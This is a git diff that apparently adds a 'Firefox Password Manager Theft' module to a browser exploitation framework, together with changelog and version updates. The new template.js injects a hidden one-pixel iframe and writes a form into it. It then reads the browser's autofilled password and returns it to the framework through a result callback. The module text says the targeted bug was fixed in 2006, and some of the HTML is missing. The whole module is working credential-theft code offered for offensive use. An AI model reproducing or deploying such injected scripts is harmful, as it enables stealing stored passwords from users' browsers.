diff --git a/CHANGELOG b/CHANGELOG index 58dfbb8aa..cca5e0e7c 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,6 @@ +Version 0.4.0.2 +Firefox password manager theft added + Version 0.4.0.1 Example (example.php) hardcoded path bug fixed diff --git a/VERSION b/VERSION index add7d6609..3ca565729 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.4.0.1 +0.4.0.2 diff --git a/modules/standard/passwd_theft/index.php b/modules/standard/passwd_theft/index.php new file mode 100644 index 000000000..0dd5d6e9e --- /dev/null +++ b/modules/standard/passwd_theft/index.php @@ -0,0 +1,58 @@ + + + + + + + +
Firefox Password Manager Password Theft
+This module will attempt to steal a password from Firefox's password manager.

+
+
+ + +
+
+ +
+
+ This bug was fixed in 2006. +
diff --git a/modules/standard/passwd_theft/name.txt b/modules/standard/passwd_theft/name.txt new file mode 100644 index 000000000..892f2ff3f --- /dev/null +++ b/modules/standard/passwd_theft/name.txt @@ -0,0 +1 @@ +Password Manager Theft diff --git a/modules/standard/passwd_theft/template.js b/modules/standard/passwd_theft/template.js new file mode 100644 index 000000000..a84d42548 --- /dev/null +++ b/modules/standard/passwd_theft/template.js @@ -0,0 +1,16 @@ + +// create iframe +var iframe = document.createElement('iframe'); +iframe.setAttribute("width", "1"); +iframe.setAttribute("height", "1"); +iframe.setAttribute("style", "visibility:hidden;"); +document.body.appendChild(iframe); + +// write content to iframe and return result +ifrm = (iframe.contentWindow) ? iframe.contentWindow : (iframe.contentDocument.document) ? iframe.contentDocument.document : iframe.contentDocument; +ifrm.document.write('
'); +ifrm.setTimeout('parent.return_result(parent.result_id, "Password: " + document.getElementById("p").value)', 100); + +// remove iframe +setTimeout('document.body.removeChild(iframe);', 200); +